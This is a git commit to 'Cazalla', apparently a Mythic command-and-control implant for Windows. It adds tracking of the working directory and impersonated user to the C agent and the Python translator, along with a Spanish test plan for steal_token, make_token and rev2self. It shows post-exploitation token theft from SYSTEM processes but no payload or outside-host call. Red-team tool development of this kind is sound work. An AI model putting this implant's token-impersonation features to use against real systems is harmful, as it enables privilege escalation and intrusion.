Context tracking implemented

This commit is contained in:
marcos.luna
2025-11-04 10:56:20 +01:00
parent c7b6bbc935
commit 47978f4259
9 changed files with 400 additions and 12 deletions
+106
View File
@@ -0,0 +1,106 @@
# Plan de Pruebas para Context Tracking
## Resumen
Context Tracking permite ver información del callback (como `cwd` e `impersonation_context`) en tabs visibles sobre el área de tasking en Mythic.
## Cambios Implementados
### 1. Variables Globales
- `gCurrentDirectory`: Mantiene el directorio actual
- `gImpersonationContext`: Mantiene el usuario impersonado
### 2. Comandos que Actualizan Contexto
- **`cd`**: Actualiza `cwd` cuando cambias de directorio
- **`steal_token`**: Actualiza `impersonation_context` cuando robas un token
- **`make_token`**: Actualiza `impersonation_context` cuando creas un token
- **`rev2self`**: Limpia `impersonation_context` cuando reviertes la impersonación
### 3. Checkin
- Incluye `cwd` inicial al hacer checkin
## Plan de Pruebas
### Prueba 1: Verificar cwd inicial en Checkin
1. Compila y despliega el agente
2. Verifica que al hacer checkin, aparezca un tab con `cwd` mostrando el directorio actual
3. **Resultado esperado**: Tab "cwd" visible con el directorio actual (ej: `C:\Users\localuser`)
### Prueba 2: Actualizar cwd con cd
1. Ejecuta `cd C:\Windows`
2. Verifica que el tab `cwd` se actualice a `C:\Windows`
3. **Resultado esperado**: Tab "cwd" cambia a `C:\Windows`
### Prueba 3: Impersonation Context con steal_token
1. Ejecuta `list_tokens` para ver tokens disponibles
2. Ejecuta `steal_token <pid>` donde `<pid>` es un proceso con privilegios elevados (ej: SYSTEM)
3. Verifica que aparezca un tab `impersonation_context` con el usuario impersonado (ej: `NT AUTHORITY\SYSTEM`)
4. **Resultado esperado**: Tab "impersonation_context" aparece con el usuario impersonado
### Prueba 4: Verificar whoami después de steal_token
1. Después de `steal_token`, ejecuta `whoami`
2. Verifica que `whoami` muestre el usuario impersonado
3. **Resultado esperado**: `whoami` muestra el usuario del token robado
### Prueba 5: Limpiar impersonation_context con rev2self
1. Después de `steal_token`, ejecuta `rev2self`
2. Verifica que el tab `impersonation_context` se limpie (desaparezca o muestre vacío)
3. Ejecuta `whoami` para verificar que volvió al usuario original
4. **Resultado esperado**: Tab "impersonation_context" se limpia, `whoami` muestra usuario original
### Prueba 6: make_token actualiza impersonation_context
1. Ejecuta `make_token domain username password`
2. Verifica que el tab `impersonation_context` se actualice con el nuevo usuario
3. **Resultado esperado**: Tab "impersonation_context" muestra el usuario del token creado
### Prueba 7: Verificar logs del translator
1. Revisa los logs del translator para ver mensajes como:
- `[CALLBACK_CONTEXT] cwd = 'C:\Windows'`
- `[CALLBACK_CONTEXT] impersonation_context = 'NT AUTHORITY\SYSTEM'`
2. **Resultado esperado**: Logs muestran los campos de callback context parseados correctamente
## Verificación de Implementación
### Verificar que los archivos se compilaron correctamente:
```bash
# En el contenedor de Mythic, verifica logs de compilación
docker logs cazalla_translator | grep -i "error\|warning" | tail -20
```
### Verificar en logs del agente:
Busca logs que incluyan:
- `[steal_token] Contexto de impersonación actualizado`
- `[make_token] Contexto de impersonación actualizado`
- `[rev2self] Contexto de impersonación limpiado`
- `Checkin: Añadido cwd inicial`
### Verificar en logs del translator:
Busca logs que incluyan:
- `[CALLBACK_CONTEXT] cwd = '...'`
- `[CALLBACK_CONTEXT] impersonation_context = '...'`
- `[CHECKIN] Callback context: cwd = '...'`
- `[CALLBACK_CONTEXT] Añadido callback context con X campos`
## Configuración en Mythic UI
1. Ve a **Settings** (configuración de usuario)
2. Busca la sección de **Tasking Context Tabs**
3. Asegúrate de que `cwd` e `impersonation_context` estén seleccionados
4. Configura colores si lo deseas
## Solución de Problemas
### Si los tabs no aparecen:
1. Verifica que los logs del translator muestren `[CALLBACK_CONTEXT]`
2. Verifica que el JSON de respuesta incluya la clave `callback` con los campos
3. Verifica la configuración de usuario en Mythic (Settings → Tasking Context Tabs)
### Si el cwd no se actualiza:
1. Verifica logs del agente: `setCurrentDirectoryContext` debería llamarse
2. Verifica que `cd` esté funcionando correctamente
3. Revisa los logs del translator para ver si se parsea el callback context
### Si impersonation_context no se actualiza:
1. Verifica que `steal_token`/`make_token` funcionen correctamente
2. Verifica logs: `setImpersonationContext` debería llamarse
3. Verifica logs del translator para ver si se parsea
@@ -1,6 +1,7 @@
#include "SistemadeFicheros.h" #include "SistemadeFicheros.h"
#include "paquete.h" #include "paquete.h"
#include "transporte.h" #include "transporte.h"
#include "cazalla.h" // For context tracking functions
/* Forward decl to avoid implicit declaration on some toolchains */ /* Forward decl to avoid implicit declaration on some toolchains */
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...); BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
@@ -58,6 +59,11 @@ VOID CambiarDirectorio(PAnalizador argumentos) {
char dir[2048]; char dir[2048];
int length = GetCurrentDirectoryA(sizeof(dir), dir); int length = GetCurrentDirectoryA(sizeof(dir), dir);
// Update global context tracking
if (length > 0) {
setCurrentDirectoryContext(dir);
}
PPaquete salida = nuevoPaquete(0, FALSE); PPaquete salida = nuevoPaquete(0, FALSE);
// success // success
@@ -67,6 +73,12 @@ VOID CambiarDirectorio(PAnalizador argumentos) {
addString(salida, dir, FALSE); addString(salida, dir, FALSE);
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE); addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
// Add callback context with updated cwd
if (length > 0) {
addCallbackContext(respuestaTarea, "cwd", dir);
}
mandarPaquete(respuestaTarea); mandarPaquete(respuestaTarea);
liberarPaquete(salida); liberarPaquete(salida);
liberarPaquete(respuestaTarea); liberarPaquete(respuestaTarea);
@@ -5,6 +5,49 @@
CONFIG_CAZALLA* cazallaConfig = NULL; CONFIG_CAZALLA* cazallaConfig = NULL;
/* Context tracking: Current working directory and impersonation context */
static char gCurrentDirectory[MAX_PATH] = "";
static char gImpersonationContext[256] = "";
/* Get current working directory for context tracking */
PCHAR getCurrentDirectoryContext(void) {
if (gCurrentDirectory[0] == '\0') {
// Initialize with actual current directory if not set
if (GetCurrentDirectoryA(sizeof(gCurrentDirectory), gCurrentDirectory) == 0) {
gCurrentDirectory[0] = '\0';
}
}
return gCurrentDirectory;
}
/* Set current working directory for context tracking */
VOID setCurrentDirectoryContext(PCHAR cwd) {
if (cwd && strlen(cwd) < sizeof(gCurrentDirectory)) {
strncpy(gCurrentDirectory, cwd, sizeof(gCurrentDirectory) - 1);
gCurrentDirectory[sizeof(gCurrentDirectory) - 1] = '\0';
}
}
/* Get impersonation context for context tracking */
PCHAR getImpersonationContext(void) {
return gImpersonationContext;
}
/* Set impersonation context for context tracking */
VOID setImpersonationContext(PCHAR context) {
if (context) {
strncpy(gImpersonationContext, context, sizeof(gImpersonationContext) - 1);
gImpersonationContext[sizeof(gImpersonationContext) - 1] = '\0';
} else {
gImpersonationContext[0] = '\0';
}
}
/* Clear impersonation context (e.g., after rev2self) */
VOID clearImpersonationContext(void) {
gImpersonationContext[0] = '\0';
}
VOID cazallaMain() { VOID cazallaMain() {
_inf("Inicializando configuración de Cazalla"); _inf("Inicializando configuración de Cazalla");
@@ -29,6 +29,13 @@ typedef struct {
extern PCONFIG_CAZALLA cazallaConfig; extern PCONFIG_CAZALLA cazallaConfig;
/* Context tracking functions */
PCHAR getCurrentDirectoryContext(void);
VOID setCurrentDirectoryContext(PCHAR cwd);
PCHAR getImpersonationContext(void);
VOID setImpersonationContext(PCHAR context);
VOID clearImpersonationContext(void);
VOID setUUID(PCHAR newUUID); VOID setUUID(PCHAR newUUID);
VOID cazallaMain(void); VOID cazallaMain(void);
@@ -1,6 +1,8 @@
#include "checkin.h" #include "checkin.h"
#include "cazalla.h" #include "cazalla.h"
#include "socks_manager.h" #include "socks_manager.h"
#include "paquete.h" // For addCallbackContext
#include "identity.h" // For IdentityGetUserInfo
#pragma comment(lib, "iphlpapi.lib") #pragma comment(lib, "iphlpapi.lib")
#include <iphlpapi.h> #include <iphlpapi.h>
@@ -146,6 +148,68 @@ PAnalizador checkin() {
addString(checkin, obtenerNombreProceso(), TRUE); addString(checkin, obtenerNombreProceso(), TRUE);
addString(checkin, (PCHAR)"1.1.1.1", TRUE); addString(checkin, (PCHAR)"1.1.1.1", TRUE);
// Add callback context with initial cwd and impersonation_context
// Get current directory and add to callback context
char initial_cwd[MAX_PATH] = {0};
if (GetCurrentDirectoryA(sizeof(initial_cwd), initial_cwd) > 0) {
setCurrentDirectoryContext(initial_cwd); // Initialize global context
addCallbackContext(checkin, "cwd", initial_cwd);
_inf("Checkin: Añadido cwd inicial: %s", initial_cwd);
} else {
_wrn("Checkin: No se pudo obtener el directorio actual");
}
// Get current user context (process token) for impersonation_context
// This will show the user even if there's no impersonation active
HANDLE hProcessToken = NULL;
char initial_user[512] = {0};
BOOL user_context_added = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hProcessToken)) {
if (IdentityGetUserInfo(hProcessToken, initial_user, sizeof(initial_user))) {
setImpersonationContext(initial_user); // Initialize global context
addCallbackContext(checkin, "impersonation_context", initial_user);
_inf("Checkin: Añadido impersonation_context inicial (process token): %s", initial_user);
user_context_added = TRUE;
} else {
_wrn("Checkin: IdentityGetUserInfo falló");
}
CloseHandle(hProcessToken);
} else {
DWORD error = GetLastError();
_wrn("Checkin: OpenProcessToken falló, error=%lu, usando fallback", error);
}
if (!user_context_added) {
// If we can't get process token, use the username from obtenerUsuarios()
// Format: domain\username (we'll use hostname as domain if needed)
char* username = obtenerUsuarios();
char* domain = obtenerDominio();
if (username && strlen(username) > 0) {
if (domain && wcslen(domain) > 0) {
// Convert domain from wide char to char
char domain_narrow[256] = {0};
WideCharToMultiByte(CP_ACP, 0, domain, -1, domain_narrow, sizeof(domain_narrow), NULL, NULL);
snprintf(initial_user, sizeof(initial_user), "%s\\%s", domain_narrow, username);
} else {
// Use hostname as domain if domain is empty
char* hostname = obtenerHostame();
if (hostname && strlen(hostname) > 0) {
snprintf(initial_user, sizeof(initial_user), "%s\\%s", hostname, username);
} else {
strncpy(initial_user, username, sizeof(initial_user) - 1);
}
}
setImpersonationContext(initial_user);
addCallbackContext(checkin, "impersonation_context", initial_user);
_inf("Checkin: Añadido impersonation_context inicial (fallback): %s", initial_user);
} else {
_wrn("Checkin: No se pudo obtener username para impersonation_context");
}
}
_inf("Checkin: Tamaño del paquete antes de enviar: %zu bytes", checkin->length);
// === When mythic_encrypts=True, agent sends plaintext === // === When mythic_encrypts=True, agent sends plaintext ===
// The C2 profile (HTTP) handles encryption at HTTP layer // The C2 profile (HTTP) handles encryption at HTTP layer
// No need for ECC key exchange in checkin // No need for ECC key exchange in checkin
@@ -904,3 +904,30 @@ VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_i
// Token ID // Token ID
addInt32(paquete, token_id); addInt32(paquete, token_id);
} }
// Helper function to add callback context (cwd, impersonation_context, etc.)
// Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]
// Can be called multiple times to add multiple fields
VOID addCallbackContext(PPaquete paquete, PCHAR field_name, PCHAR field_value) {
if (!paquete || !field_name) {
return;
}
// Callback context marker (0xF0) - Note: 0xF1 is CHECKIN action, so we use 0xF0
// This marker indicates callback context data
addByte(paquete, 0xF0);
// Field name length and value (e.g., "cwd", "impersonation_context")
SIZE_T name_len = strlen(field_name);
addInt32(paquete, (UINT32)name_len);
addString(paquete, field_name, FALSE);
// Field value (optional - use empty string if NULL)
if (field_value) {
SIZE_T value_len = strlen(field_value);
addInt32(paquete, (UINT32)value_len);
addString(paquete, field_value, FALSE);
} else {
addInt32(paquete, 0);
}
}
@@ -72,4 +72,10 @@ VOID addToken(PPaquete paquete, UINT32 token_id, PCHAR host, PCHAR description,
/* action must be "add" or "remove" */ /* action must be "add" or "remove" */
VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id); VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id);
/* Callback context helper: for updating callback context (cwd, impersonation_context, etc.) */
/* Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]... */
/* Can be called multiple times to add multiple fields */
/* Common fields: "cwd", "impersonation_context", "pid", "sleep_info", "extra_info" */
VOID addCallbackContext(PPaquete paquete, PCHAR field_name, PCHAR field_value);
#endif #endif
@@ -5,6 +5,7 @@
#include "analizador.h" #include "analizador.h"
#include "identity.h" #include "identity.h"
#include "debug.h" #include "debug.h"
#include "cazalla.h" // For context tracking functions
#include <tlhelp32.h> #include <tlhelp32.h>
#include <psapi.h> #include <psapi.h>
@@ -480,6 +481,10 @@ VOID RobarToken(PAnalizador argumentos) {
DWORD hostname_len = sizeof(hostname); DWORD hostname_len = sizeof(hostname);
GetComputerNameA(hostname, &hostname_len); GetComputerNameA(hostname, &hostname_len);
// Update global impersonation context
setImpersonationContext(account_name);
_inf("[steal_token] Contexto de impersonación actualizado: %s", account_name);
PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE); PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaFinal, tareaUuid, FALSE); addString(respuestaFinal, tareaUuid, FALSE);
PPaquete salidaFinal = nuevoPaquete(0, FALSE); PPaquete salidaFinal = nuevoPaquete(0, FALSE);
@@ -491,6 +496,9 @@ VOID RobarToken(PAnalizador argumentos) {
snprintf(artifact_msg, sizeof(artifact_msg), "Process Token Impersonation: PID %lu -> User: %s", pid, account_name); snprintf(artifact_msg, sizeof(artifact_msg), "Process Token Impersonation: PID %lu -> User: %s", pid, account_name);
addArtifact(respuestaFinal, "Token Impersonation", artifact_msg); addArtifact(respuestaFinal, "Token Impersonation", artifact_msg);
// Add callback context with impersonation_context
addCallbackContext(respuestaFinal, "impersonation_context", account_name);
// Add callback token registration // Add callback token registration
addCallbackToken(respuestaFinal, "add", hostname, token_id); addCallbackToken(respuestaFinal, "add", hostname, token_id);
@@ -767,6 +775,10 @@ VOID CrearToken(PAnalizador argumentos) {
snprintf(account_name, sizeof(account_name), "%s\\%s", domain_safe, user_safe); snprintf(account_name, sizeof(account_name), "%s\\%s", domain_safe, user_safe);
} }
// Update global impersonation context
setImpersonationContext(account_name);
_inf("[make_token] Contexto de impersonación actualizado: %s", account_name);
// Generate token_id (simple hash of user+domain) // Generate token_id (simple hash of user+domain)
// Use existing domain_len and user_len variables (they were set by getString) // Use existing domain_len and user_len variables (they were set by getString)
// If needed, recalculate lengths using strlen for actual string length (not buffer length) // If needed, recalculate lengths using strlen for actual string length (not buffer length)
@@ -791,6 +803,9 @@ VOID CrearToken(PAnalizador argumentos) {
snprintf(artifact_msg, sizeof(artifact_msg), "New Logon: User: %s\\%s (LogonType: %lu)", domain_safe, user_safe, logon_type); snprintf(artifact_msg, sizeof(artifact_msg), "New Logon: User: %s\\%s (LogonType: %lu)", domain_safe, user_safe, logon_type);
addArtifact(respuestaFinal, "Token Creation", artifact_msg); addArtifact(respuestaFinal, "Token Creation", artifact_msg);
// Add callback context with impersonation_context
addCallbackContext(respuestaFinal, "impersonation_context", account_name);
// Register token with callback // Register token with callback
addCallbackToken(respuestaFinal, "add", hostname, token_id); addCallbackToken(respuestaFinal, "add", hostname, token_id);
@@ -816,11 +831,19 @@ VOID RevertirToken(PAnalizador argumentos) {
CloseHandle(gImpersonationToken); CloseHandle(gImpersonationToken);
gImpersonationToken = NULL; gImpersonationToken = NULL;
// Clear global impersonation context
clearImpersonationContext();
_inf("[rev2self] Contexto de impersonación limpiado");
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuesta, tareaUuid, FALSE); addString(respuesta, tareaUuid, FALSE);
PPaquete salida = nuevoPaquete(0, FALSE); PPaquete salida = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salida, FALSE, "[rev2self] Token revertido exitosamente\n"); PackageAddFormatPrintf(salida, FALSE, "[rev2self] Token revertido exitosamente\n");
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Add callback context with empty impersonation_context to clear it
addCallbackContext(respuesta, "impersonation_context", "");
mandarPaquete(respuesta); mandarPaquete(respuesta);
liberarPaquete(salida); liberarPaquete(salida);
liberarPaquete(respuesta); liberarPaquete(respuesta);
@@ -53,16 +53,55 @@ def checkIn(data):
# Retrieve External IP # Retrieve External IP
externalIP, data = getBytesWithSize(data) externalIP, data = getBytesWithSize(data)
# Nota: ECC Public Key ya no se usa (cifrado AESPSK se inyecta en build time) # Parse callback context from remaining data if present
# Leemos y descartamos la longitud (4 bytes) que siempre será 0 # Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]...
try: print(f"[CHECKIN] Datos restantes después de parsear campos estándar: {len(data)} bytes")
key_len = int.from_bytes(data[:4], "big") if len(data) > 0:
data = data[4:] print(f"[CHECKIN] Primeros bytes de datos restantes: {data[:min(20, len(data))].hex()}")
if key_len > 0:
# Descarta los datos de la clave si existen (código legacy) callback_context = {}
data = data[key_len:] while len(data) >= 5: # At least: marker (1) + name_len (4)
except: if data[0] == 0xF0:
pass # Callback context marker found
offset = 1
# Extract field name
if len(data) < offset + 4:
break
name_len = int.from_bytes(data[offset:offset+4], 'big')
offset += 4
if name_len == 0 or len(data) < offset + name_len:
break
try:
field_name = data[offset:offset+name_len].decode('cp850', errors='ignore')
offset += name_len
except:
break
# Extract field value
if len(data) < offset + 4:
break
value_len = int.from_bytes(data[offset:offset+4], 'big')
offset += 4
field_value = ""
if value_len > 0:
if len(data) < offset + value_len:
break
try:
field_value = data[offset:offset+value_len].decode('cp850', errors='ignore')
offset += value_len
except:
field_value = ""
callback_context[field_name] = field_value
print(f"[CHECKIN] Callback context: {field_name} = '{field_value}'")
data = data[offset:]
else:
# No more callback context markers
break
dataJson = { dataJson = {
"action": "checkin", "action": "checkin",
@@ -78,6 +117,20 @@ def checkIn(data):
"externalIP": externalIP.decode('cp850'), "externalIP": externalIP.decode('cp850'),
} }
# Add callback context if present
# For checkin, callback context is added directly to the root message (not in a "callback" key)
# This matches Mythic's documentation: callback fields can be at root level for checkin
if callback_context:
for key, value in callback_context.items():
dataJson[key] = value
print(f"[CHECKIN] Añadido campo '{key}' = '{value}' al JSON de checkin")
print(f"[CHECKIN] Total callback context añadido: {len(callback_context)} campos: {list(callback_context.keys())}")
else:
print(f"[CHECKIN] No se encontró callback context en el mensaje de checkin")
# Debug: Print final JSON structure
print(f"[CHECKIN] JSON final tiene {len(dataJson)} campos: {list(dataJson.keys())}")
return dataJson return dataJson
@@ -401,7 +454,7 @@ def postResponse(data):
# Verify that remaining_data starts with a marker if we expect markers # Verify that remaining_data starts with a marker if we expect markers
# This helps detect protocol issues # This helps detect protocol issues
if len(remaining_data) > 0: if len(remaining_data) > 0:
KNOWN_MARKERS = {0xFF, 0xFE, 0xFD, 0xFC, 0xF9, 0xF8, 0xF7, 0xF6, 0xF4, 0xF3} KNOWN_MARKERS = {0xFF, 0xFE, 0xFD, 0xFC, 0xF9, 0xF8, 0xF7, 0xF6, 0xF4, 0xF3, 0xF2, 0xF0}
if remaining_data[0] not in KNOWN_MARKERS and len(remaining_data) > 0: if remaining_data[0] not in KNOWN_MARKERS and len(remaining_data) > 0:
# This might be part of the output that wasn't properly extracted # This might be part of the output that wasn't properly extracted
# This could happen if output_len was incorrectly interpreted # This could happen if output_len was incorrectly interpreted
@@ -430,6 +483,7 @@ def postResponse(data):
tokens_data = [] tokens_data = []
callback_tokens_data = [] callback_tokens_data = []
keylogs_data = [] keylogs_data = []
callback_context_data = {} # Dictionary to store callback context fields (cwd, impersonation_context, etc.)
print(f"[PARSER] Iniciando parsing de marcadores. remaining_data length: {len(remaining_data)} bytes") print(f"[PARSER] Iniciando parsing de marcadores. remaining_data length: {len(remaining_data)} bytes")
if len(remaining_data) > 0: if len(remaining_data) > 0:
@@ -978,6 +1032,47 @@ def postResponse(data):
"token_id": token_id "token_id": token_id
}) })
print(f"[CALLBACK_TOKEN] action='{action}', host='{host}', token_id={token_id}") print(f"[CALLBACK_TOKEN] action='{action}', host='{host}', token_id={token_id}")
remaining_data = remaining_data[offset:]
elif remaining_data[0] == 0xF0:
# Callback context marker found
# Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]
offset = 1
# Extract field name
if len(remaining_data) < offset + 4:
break
name_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
if name_len == 0 or len(remaining_data) < offset + name_len:
break
try:
field_name = remaining_data[offset:offset+name_len].decode('cp850', errors='ignore')
offset += name_len
except:
break
# Extract field value
if len(remaining_data) < offset + 4:
break
value_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
field_value = ""
if value_len > 0:
if len(remaining_data) < offset + value_len:
break
try:
field_value = remaining_data[offset:offset+value_len].decode('cp850', errors='ignore')
offset += value_len
except:
field_value = ""
# Store callback context field
callback_context_data[field_name] = field_value
print(f"[CALLBACK_CONTEXT] {field_name} = '{field_value}'")
remaining_data = remaining_data[offset:] remaining_data = remaining_data[offset:]
else: else:
# No more markers # No more markers
@@ -1027,6 +1122,11 @@ def postResponse(data):
"completed": True, "completed": True,
} }
# Add callback context if present
if callback_context_data:
jsonTask["callback"] = callback_context_data
print(f"[CALLBACK_CONTEXT] Añadido callback context con {len(callback_context_data)} campos: {list(callback_context_data.keys())}")
# Incluir user_output para que se vea en la consola, EXCEPTO cuando hay download chunks # Incluir user_output para que se vea en la consola, EXCEPTO cuando hay download chunks
# (los chunks de download no necesitan user_output) # (los chunks de download no necesitan user_output)
# Always include user_output if there's output text (needed for tokens command to show in GUI) # Always include user_output if there's output text (needed for tokens command to show in GUI)